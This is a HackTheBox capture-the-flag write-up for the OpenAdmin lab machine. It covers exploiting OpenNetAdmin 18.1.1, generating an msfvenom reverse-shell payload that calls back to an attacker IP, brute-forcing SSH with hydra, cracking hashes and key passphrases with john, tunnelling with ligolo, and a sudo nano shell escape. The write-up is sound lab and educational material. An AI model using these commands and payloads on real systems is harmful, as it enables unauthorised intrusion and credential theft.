HTB: OpenAdmin

Overview

OpenAdmin is an easy HackTheBox Linux machine running OpenNetAdmin 18.1.1, a network administration tool with a well-known public remote code execution exploit that gives an immediate foothold as www-data. Credentials found in the application’s database config are reused over SSH, and further enumeration uncovers an internal-only Apache vhost, reachable through a ligolo tunnel, containing a hardcoded password hash and, eventually, an SSH private key protected by its own password. Privilege escalation is a straightforward sudo misconfiguration around nano, exploited via a documented GTFOBins technique.

Attack Chain

• Scan the target and identify SSH and HTTP
• Fuzz the web server and find /music, which leads to /ona, an OpenNetAdmin 18.1.1 instance
• Exploit a known public RCE for this version with a custom msfvenom payload
• Get a reverse shell as www-data
• Recover database credentials from OpenNetAdmin’s configuration file
• Brute force SSH with the recovered password against known usernames and get a hit on jimmy
• Establish an SSH session as jimmy
• Discover an internal-only Apache vhost bound to localhost on a non-standard port
• Find a hardcoded username and password hash inside that vhost’s index.php
• Crack the hash to recover a second credential pair
• Pivot to the internal site with a ligolo tunnel and find an SSH private key protected by a password hint
• Extract the key’s password hash with ssh2john and crack it with john
• Use the private key and its password to SSH in as joanna
• Read the user flag
• Find a sudo rule allowing /bin/nano /opt/priv to run as root
• Use the documented GTFOBins technique for nano to spawn a root shell
• Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.5.207; export NAME=OPENADMIN; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

Web Enumeration

Finding OpenNetAdmin

Browsing to port 80 shows the default Apache2 page.

We fuzz the site.

dirsearch -u http://$IP:$PORT -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_directories.txt

We find three potential endpoints.

On /music, we click Login.

This takes us to /ona, which stands for OpenNetAdmin v18.1.1.

Foothold

Exploiting OpenNetAdmin

We find a public exploit for 18.1.1:

https://www.exploit-db.com/exploits/47691

We transfer the exploit and rename it. We generate a reverse shell payload with msfvenom.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=443 -f elf -o rev443.elf

We first try a few other reverse shell payloads without success; our msfvenom payload works.

We have a shell as www-data.

Recovering Database Credentials

We find credentials in the OpenNetAdmin database configuration file at /var/www/ona/local/config/database_settings.inc.php.

n1nj4W4rri0R!

We know of two users, jimmy and joanna. We use hydra to test the recovered password against both over SSH.

hydra -L creds/users.txt -p "n1nj4W4rri0R\!" $IP ssh

We get a hit on jimmy.

We establish an SSH session as jimmy.

Lateral Movement

Finding the Internal Site

Earlier, from our www-data shell, we saw a service running on localhost on port 52846.

We view /etc/apache2/sites-enabled/ and find a file called internal.conf.

We navigate to the DocumentRoot folder, /var/www/internal.

We view index.php, and near the bottom find a hardcoded username, jimmy, and a password hash.

We crack the hash on crackstation.net and get a password.

jimmy:Revealed

Accessing the Internal Site via ligolo

We use ligolo to tunnel to the internal site on the target from our attacking machine.

Through ligolo, we can view the site at http://240.0.0.1:52846/index.php.

We find an SSH private key and a hint about its password.

We copy the key to our attacking machine.

Cracking the Key’s Password

We use ssh2john and save the output to a file.

We crack the password with john.

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

We recover a password.

bloodninjas

We use it to establish an SSH session as joanna.

We read the user flag.

Privilege Escalation

Exploiting Sudo Nano

We check our privileges with sudo -l and find we can run /bin/nano /opt/priv as sudo.

We find a sudo-based nano exploit on GTFOBins:

https://gtfobins.org/gtfobins/nano/#shell

We run sudo /bin/nano /opt/priv, press Ctrl+R, which brings up a file-insert option, and use it to spawn a root shell with:

reset; sh 1>&0 2>&0

We insert the payload in nano and press Ctrl+X, then Enter.

We have a shell as root.

We read the root flag.

Key Takeaways

OpenAdmin traces a familiar path from a single unpatched application to full compromise through credential reuse. OpenNetAdmin’s own database configuration leaked a password that turned out to be valid over SSH for a real system account, and an internal-only vhost, reachable only after network access was already established, leaked yet another credential in the form of a hardcoded password hash. Even the SSH private key eventually recovered was itself passphrase-protected, but that passphrase was weak enough to fall to an offline wordlist attack. Root, as on many easy Linux boxes, came down to an overly permissive sudo rule for a text editor with built-in shell-spawning functionality.